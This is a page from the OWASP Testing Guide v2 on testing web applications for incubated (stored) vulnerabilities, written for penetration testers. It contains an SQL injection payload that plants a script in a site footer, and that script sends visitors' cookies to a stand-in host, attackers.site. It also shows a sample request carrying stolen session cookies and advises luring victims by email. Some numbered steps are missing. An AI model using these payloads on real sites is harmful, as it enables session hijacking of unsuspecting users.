Testing for Incubated Vulnerability (OTG-INPVAL-015)
Incubated testing is a complex testing that needs more than one data volition vulnerability to work. In this section we describe a set of examples to test an Incubated Vulnerability.
- The attack vector needs to be persisted in the first place, it needs to be stored in the persistence layer, and this would only occur if weak data validation was present or the data arrived into the system via another channel such as an admin console or directly via a backend batch process.
- Secondly once the attack vector was "recalled" the vector would need to be executed successfully. For example an incubated XSS attack would require weak output validation so the script would be delivered to the client in its executable form.
Short Description of the Issue
Exploitation of some vulnerabilities, or even functional features of a web application will allow an attacker to plant a piece of data that will later be retrieved by an unsuspected user or other component of the system, exploiting some vulnerability there.
In a penetration test, incubated attacks can be used to assess the criticality of certain bugs, using the particular security issue found to build a client-side based attack that usually will be used to target a large number of victims at the same time (i.e. all users browsing the site).
This type of asynchronous attack covers a great spectrum of attack vectors, among them the following:
- File upload components in a web application, allowing the attacker to upload corrupted media files (jpg images exploiting CVE-2004-0200, png images exploiting CVE-2004-0597, executable files, site pages with active component, etc)
- Misconfigured servers allowing installation of java packages or similar web site components (i.e. Tomcat, or web hosting consoles such as Plesk, CPanel, Helm, etc.)
Black Box testing and example
a. File Upload Sample:
Verify the content type allowed to upload to the web application and the resultant URL for the uploaded file. Upload a file that will exploit a component in the local user workstation when viewed or downloaded by the user.
Send your victim an email or other kind of alert in order to lead him/her to browse the page.
The expected result is the exploit will be triggered when the user browses the resultant page or downloads and executes the file from the trusted site.
b. XSS sample on a bulletin board
2. Direct users to browse the vulnerable page or wait for the users to browse it. Have a "listener" at attackers.site host listening for all incoming connections.
3. When users browse the vulnerable page, a request containing their cookie (document.cookie is included as part of the requested URL) will be sent to the attackers.site host, such as the following:
- GET /cv.jpg?SignOn=COOKIEVALUE1;%20ASPSESSIONID=ROGUEIDVALUE; %20JSESSIONID=ADIFFERENTVALUE:-1;%20ExpirePage=https://vulnerable.site/site/; TOKEN=28_Sep_2006_21:46:36_GMT HTTP/1.1
c. SQL Injection sample
Usually, this set of examples leverages XSS attacks by exploiting a SQL-injection vulnerability. The first thing to test, is whether the target site has a SQL-injection vulnerability. This is described in Section 4.2 [SQL Injection Testing]. For each SQL-injection vulnerability, there is an underlying set of constraints describing the kind of queries that the attacker/pen-tester is allowed to do. The pen tester then has to match the XSS attacks he has devised with the entries that he is allowed to insert.
SELECT field1, field2, field3 FROM table_x WHERE field2 = 'x'; UPDATE footer SET notice = 'Copyright 1999-2030%20 <script>document.write(\'<img src="http://attackers.site/cv.jpg?\'+document.cookie+\'">\')</script>' WHERE notice = 'Copyright 1999-2030';
2. Now, each user browsing the site will silently send his cookies to the attackers.site (steps b.2 to b.4).
d. Misconfigured server
Some web servers present an administration interface that may allow an attacker to upload active components of her choice to the site. This could be the case with Apache Tomcat servers that doesn’t enforce strong credentials to access its Web Application Manager (or in the case the pen testers have been able to obtain valid credentials for the administration module by other means). In this case, a WAR file can be uploaded and a new web application deployed at the site, which will not only allow the pen tester to execute code of her choice locally at the server, but also to plant an application at the trusted site, which the site regular users can then access (most probably with a higher degree of trust than when accessing a different site).
As should also be obvious, the ability to change web page contents at the server, via any vulnerabilities that may be exploitable at the host which will give the attacker webroot write permissions, will also be useful towards planting such an incubated attack on the web server pages (actually, this is a known infection-spread method for some web server worms).
Gray Box testing and example
Gray/white testing techniques will be the same as previously discussed.
- XSS-proxy - http://sourceforge.net/projects/xss-proxy
- Paros - http://www.parosproxy.org/index.shtml
- Burp Suite - http://portswigger.net/suite/
- Metasploit - http://www.metasploit.com/
OWASP Testing Guide v2
Here is the OWASP Testing Guide v2 Table of Contents